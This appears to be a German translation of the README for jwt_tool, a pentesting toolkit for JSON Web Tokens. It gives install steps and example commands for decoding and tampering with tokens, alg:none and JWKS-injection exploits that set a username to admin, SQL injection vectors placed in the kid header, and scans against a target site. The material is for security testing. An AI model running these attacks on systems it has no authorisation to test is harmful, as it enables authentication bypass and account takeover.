🐍 Ein Toolkit zum Testen, Anpassen und Knacken von JSON Web Tokens
jwt_tool.py ist ein Toolkit zum Validieren, Fälschen, Scannen und Manipulieren von JWTs (JSON Web Tokens).

Die Funktionalität umfasst:
Dieses Tool wurde für Pentester geschrieben, die die Stärke der verwendeten Token und deren Anfälligkeit für bekannte Angriffe prüfen müssen. Eine Reihe von Manipulations-, Signier- und Verifizierungsoptionen steht zur Verfügung, um tiefer in die potenziellen Schwachstellen einzutauchen, die in einigen JWT-Bibliotheken vorhanden sind.
Es hat sich auch für CTF-Teilnehmer als nützlich erwiesen – da CTFs derzeit offenbar sehr auf JWTs stehen.
Es kann auch für Entwickler nützlich sein, die JWTs in Projekten verwenden, aber die Stabilität und bekannte Schwachstellen beim Einsatz gefälschter Token testen möchten.
Dieses Tool ist nativ in Python 3 (Version 3.6+) geschrieben und verwendet die gängigen Bibliotheken. Verschiedene kryptografische Funktionen (und die allgemeine Optik/Lesbarkeit) erfordern jedoch die Installation einiger gängiger Python-Bibliotheken.
(Eine ältere Python-2.x-Version dieses Tools ist für diejenigen, die sie benötigen, im Legacy-Zweig verfügbar, wird jedoch nicht mehr unterstützt oder aktualisiert)
Die bevorzugte Verwendung für jwt_tool ist mit dem offiziellen, auf Dockerhub gehosteten jwt_tool-Docker-Image
Der Basisbefehl für die Ausführung lautet wie folgt:
Basisbefehl zum Ausführen von jwt_tool:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
Mit dem obigen Befehl kannst du wie gewohnt beliebige weitere Argumente anhängen.
Beachte, dass lokale Dateien in deinem aktuellen Arbeitsverzeichnis in das /tmp-Verzeichnis des Docker-Containers gemappt werden. Du kannst sie also über diesen absoluten Pfad in deinen Argumenten verwenden.
z. B.
/tmp/localfile.txt
Die Installation besteht lediglich darin, die Datei jwt_tool.py herunterzuladen (oder das Repo zu git clone).
(Führe auch chmod auf der Datei aus, wenn du sie zu deinem $PATH hinzufügen und von überall aufrufen möchtest.)
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt
Beim ersten Start erzeugt das Tool eine Konfigurationsdatei, einige Hilfsdateien, eine Logdatei und einen Satz öffentlicher und privater Schlüssel in verschiedenen Formaten.
jwtconf.ini als Wert "jwkloc" gespeichert werden.Um defekte Farben in Windows cmd/Powershell zu beheben, entferne die Kommentierung der folgenden zwei Zeilen in jwt_tool.py (entferne das "# " am Anfang jeder Zeile).
Du musst außerdem colorama installieren: python3 -m pip install colorama
# import colorama
# colorama.init()
Das erste Argument sollte das JWT selbst sein (sofern es nicht in einem Header- oder Cookie-Wert bereitgestellt wird). Wenn keine weiteren Argumente angegeben werden, werden die dekodierten Token-Werte zur Überprüfung angezeigt.
$ python3 jwt_tool.py <JWT>
oder der Docker-Basisbefehl:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
Das Toolkit validiert das Token und listet die Header- und Payload-Werte auf.
Die vielen zusätzlichen Argumente führen dich direkt zur entsprechenden Funktion und liefern dir ein Token, das du in deinen Tests verwenden kannst.
Um zum Beispiel das vorhandene Token zu manipulieren, führe Folgendes aus:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T
Viele Optionen benötigen zusätzliche Werte, um Optionen zu setzen.
Um beispielsweise einen bestimmten Exploit-Typ auszuführen, musst du die Option eXploit (-X) wählen und die Schwachstelle auswählen (hier wird "a" für den alg:none-Exploit verwendet):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a
Einige Optionen wie das Verifizieren von Token erfordern zusätzliche Parameter/Dateien (hier wird der öffentliche Schlüssel im PEM-Format bereitgestellt):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem
Alle Modi erlauben es nun, das Token direkt an eine Anwendung zu senden.
Du musst Folgendes angeben:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M erVerschiedene Antworten auf die Anfrage werden angezeigt:
Hier ist ein kurzer Durchlauf einer grundlegenden Bewertung einer JWT-Implementierung. Wenn du mit diesen Optionen keinen Erfolg hast, dann grabe tiefer in andere Modi und Optionen, um nach neuen Schwachstellen (oder Zero-Days!) zu suchen.
Lies den Token-Wert, um ein Gefühl für die in der Anwendung erwarteten Claims/Werte zu bekommen:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
Führe einen Playbook-Scan mit dem bereitgestellten Token direkt gegen die Anwendung aus, um nach häufigen Fehlkonfigurationen zu suchen:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
Wenn erfolgreiche Schwachstellen gefunden werden, ändere relevante Claims, um sie auszunutzen (hier mit dem Inject JWKS-Exploit und dem Injizieren eines neuen Benutzernamens):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Grabe tiefer, indem du auf unerwartete Werte und Claims testest, um unerwartetes Anwendungsverhalten zu identifizieren, oder führe Angriffe auf Programmlogik oder Token-Verarbeitung aus:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
Überprüfe erfolgreiche Ausnutzungen, indem du die Logs abfragst, um mehr Daten über die Anfrage zu lesen und :
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Für eine Liste der Optionen rufe die Usage-Funktion auf:
Einige Optionen wie das Verifizieren von Token erfordern zusätzliche Parameter/Dateien:
$ python3 jwt_tool.py -h
Ein ausführlicheres Benutzerhandbuch findest du auf der Wiki-Seite.

Schau dir das JWT-Angriffs-Playbook an, um eine detaillierte Erklärung zu erhalten, was JWTs sind, was sie tun, sowie einen vollständigen Arbeitsablauf, wie man sie gründlich auf Schwachstellen, häufige Schwächen und unbeabsichtigte Codierungsfehler testet.
RegEx zum Finden von JWTs in der Burp-Suche
(Stelle sicher, dass die Optionen 'Case sensitive' und 'Regex' aktiviert sind)
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - URL-sichere JWT-Version
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - alle JWT-Versionen (höhere Wahrscheinlichkeit von Fehlalarmen)
JWT-Angriffs-Playbook (https://github.com/ticarpi/jwt_tool/wiki) - für eine gründliche JWT-Testmethodik
Eine großartige Einführung in JWTs - https://jwt.io/introduction/
Ein Großteil der ursprünglichen Inspiration für dieses Tool stammt aus den von Tim McLean entdeckten Schwachstellen.
Schau dir hier seinen Blog über JWT-Schwächen an: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
Eine ganze Reihe von Übungen zum Testen von JWT-Schwachstellen wird von Pentesterlab (https://www.pentesterlab.com) bereitgestellt. Ich empfehle dringend ein PRO-Abonnement, wenn du dich für Web-App-Pentesting interessierst.
BITTE BEACHTE: Dieses Toolkit wird die meisten Pentesterlab-JWT-Übungen bei korrekter Anwendung in wenigen Sekunden lösen. Ich empfehle dir jedoch dringend, diese Übungen selbst durchzuarbeiten und die Struktur und die Schwachstellen herauszufinden. Letztendlich geht es doch ums Lernen...